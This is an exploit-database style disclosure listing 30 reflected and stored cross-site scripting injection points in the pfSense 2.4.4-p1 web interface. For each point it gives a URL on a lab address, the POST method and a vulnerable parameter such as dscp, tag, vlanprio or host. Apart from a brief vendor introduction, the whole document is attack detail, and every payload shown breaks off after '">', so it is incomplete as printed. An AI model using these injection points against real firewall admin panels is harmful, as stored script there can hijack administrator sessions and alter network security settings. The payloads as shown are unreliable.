################################################################################################################################## # Exploit Title: pfSense 2.4.4-p1 | Cross-Site Scripting # Date: 28.01.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://www.pfsense.org # Software Link: https://frafiles.pfsense.org/mirror/downloads/pfSense-CE-2.4.4-RELEASE-p1-amd64.iso.gz # Version: 2.4.4-p1 ################################################################################################################################## Introduction pfSenseA(r) software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. ################################################################################# XSS details: Reflected & Stored ################################################################################# XSS1 | Reflected URL http://192.168.2.200/system_advanced_admin.php METHOD Post PARAMETER webguiproto PAYLOAD "> ################################################################################# XSS2 | Reflected URL http://192.168.2.200/interfaces_assign.php METHOD Post PARAMETER wan PAYLOAD "> ################################################################################# XSS3 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER dscp PAYLOAD "> ################################################################################# XSS4 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER tag PAYLOAD "> ################################################################################# XSS5 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER tagged PAYLOAD "> ################################################################################# XSS6 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER statetype PAYLOAD "> ################################################################################# XSS7 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER vlanprio PAYLOAD "> ################################################################################# XSS8 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER vlanprioset PAYLOAD "> ################################################################################# XSS9 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER dnpipe PAYLOAD "> ################################################################################# XSS10 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER defaultqueue PAYLOAD "> ################################################################################# XSS11 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER dscp PAYLOAD "> ################################################################################# XSS12 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER tag PAYLOAD "> ################################################################################# XSS13 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER tagged PAYLOAD "> ################################################################################# XSS14 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER statetype PAYLOAD "> ################################################################################# XSS15 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER vlanprio PAYLOAD "> ################################################################################# XSS16 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER vlanprioset PAYLOAD "> ################################################################################# XSS17 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER dnpipe PAYLOAD "> ################################################################################# XSS18 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1 METHOD Post PARAMETER defaultqueue PAYLOAD "> ################################################################################# XSS19 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER dscp PAYLOAD "> ################################################################################# XSS20 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER tag PAYLOAD "> ################################################################################# XSS21 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER tagged PAYLOAD "> ################################################################################# XSS22 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER statetype PAYLOAD "> ################################################################################# XSS23 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER vlanprio PAYLOAD "> ################################################################################# XSS24 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER vlanprioset PAYLOAD "> ################################################################################# XSS25 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER dnpipe PAYLOAD "> ################################################################################# XSS26 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER defaultqueue PAYLOAD "> ################################################################################# XSS27 | Reflected URL http://192.168.2.200/firewall_shaper.php METHOD Post PARAMETER name PAYLOAD "> ################################################################################# XSS28 | Stored URL http://192.168.2.200/services_igmpproxy_edit.php METHOD Post PARAMETER address0 PAYLOAD "> ################################################################################# XSS29 | Stored URL http://192.168.2.200/services_ntpd_gps.php METHOD Post PARAMETER gpstype PAYLOAD "> ################################################################################# XSS30 | Reflected URL http://192.168.2.200/diag_traceroute.php METHOD Post PARAMETER host PAYLOAD "> #################################################################################